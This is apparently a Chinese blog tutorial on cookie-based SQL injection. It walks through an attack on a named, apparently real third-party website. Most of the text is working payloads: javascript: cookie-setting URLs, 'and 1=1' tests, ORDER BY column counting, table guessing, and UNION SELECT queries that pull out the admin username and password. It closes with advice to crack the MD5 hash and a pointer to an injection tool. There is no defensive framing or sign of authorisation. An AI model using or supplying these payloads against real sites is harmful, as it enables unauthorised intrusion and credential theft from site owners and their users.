在扫描一些网站时,发现有一些网址有可以Cookies注入的方式,在网上查了相关资料,并在朋友的帮助下,做了一下小小的尝试,操作如下:
方法一:手动Cookies注入
要知道,cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,
条件1:是程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
条件2:在条件1的基础上,还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取。
下面来尝试一下:找到这个网站,发现其有Cookies注入
http://www.st3yy.com/experts_info.asp?id=128
,尝试一下平时的注入方式是否成功,在网址的后面加上and 1=1
发觉并没有使用了防注入系统的,(这种失误是不可以的),就目前而言,大多数是使用get方式提交的参数,那现在我们将“id=128”这个参数使用cookie提交看看程序对数据接收是否直接使用
request("xx")的方式?要更改成cookie方式提交,我们首先要访问正常的页面,即是:
具体操作是:
1、先打开http://www.st3yy.com/experts_info.asp?id=128,等页面完全打开之后,我们将IE地址栏清空,
如下图
在空白的地址栏上,填写上,以下内容
javascript:alert(document.cookie="id="+escape("128"));
( 这里的“id=”便是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=”,“escape("128")”中的“128”是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=218”了,这两处要具体根据所获的数据来决定)
写完之后按下回车网页中会弹出以下对话框:如下图
2、 进行了第二步了,打开另一个窗口中,试一下,访问http://www.st3yy.com/experts_info.asp?(既是将“id=128”去掉后),然后看是否能正常访问。
结果如下:
从上图可以看到,与之前可见访问之后的页面与访问http://www.st3yy.com/experts_info.asp?id=128效果是一样的。
从这里可以知道,程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。
现在cookie形成的一个重要因素已经明确了。
3.第三步,测试一下是否能提交接特殊字符,看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写
javascript:alert(document.cookie="id="+escape("128
and 1=1"));
回车后再去http://www.st3yy.com/experts_info.asp?页面刷新,
看页面是否正常,如果正常我们再提交
javascript:alert(document.cookie="id="+escape("128
and
1=2"));
然后再去刷新,这个时候就会看见出错了。
你会发现,有很明显就能看到错误了,而且一些信息都没有有显示,在这里,可以确定该页面为Cookies注入了。
4、进行到这里了,这和一些普通的流放方式是一样的,我们可以接下来使用union联合查询爆出管理员的账号和密码,但前提是需要知道管理员的表名和字段名,不过我们可以通过猜解。
具体如下:首先来使用order by
语句判断出当前执行数据库查询的表的字段数,
我们提交:
javascript:alert(document.cookie="id="+escape("128 order by
1"));
然会正常,表示可以使用order by语句,
可以看到,页面出现是正常的,说明可以使用Order by来猜解字段数。
如果错误的话可能是不能使用order
by来猜解字段数了,那就换用直接union select
一个一个的试了。再提交:
javascript:alert(document.cookie="id="+escape("128 order
by 10"));
再
如果还返回正常就说明字段数在10以上,
现在试一下20,即
javascript:alert(document.cookie="id="+escape("128 order by
20"));
再
发现,它是在20以上,以上面这样操作,当到23时,就发现不行,如下:
综上,可以猜解出正确的字段数22.
5、接下来我们提交:
javascript:alert(document.cookie="id="+escape("128 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
from manage"));
发现有错误,我们再提交
javascript:alert(document.cookie="id="+escape("128 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from
admin"));发现返回正常页面。
看到熟悉的画面了吧,这就表示网站数据库存在admin这个表,因我们之前一次提交的是javascript:alert(document.cookie="id="+escape("128
union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from
manage"));
数据库中不存在mange这个表,自然就出错了,使用更换from
处可以来猜解表明,
如果在那么6和17的地方试试username和password看看提交后是否出错,如果出错那么就表示不存在username或者password字段。我们提交:javascript:alert(document.cookie="id="+escape("284
union select
1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
from admin"));
6、
最后在原来显示6和17的地方现在爆出了管理员的账号和密码了,
得到的密码是加过密的,如果是md5加密,可以进相关网站上,进行破解。
方法二:使用工具
cookies注入工具,在网上找到了,这一款Cookies注入的软件,发现,里面有一些视频,看来,好人总是有的
发现里有一些视频,我想就不用我写了,可以去看一下。
加载中,请稍候......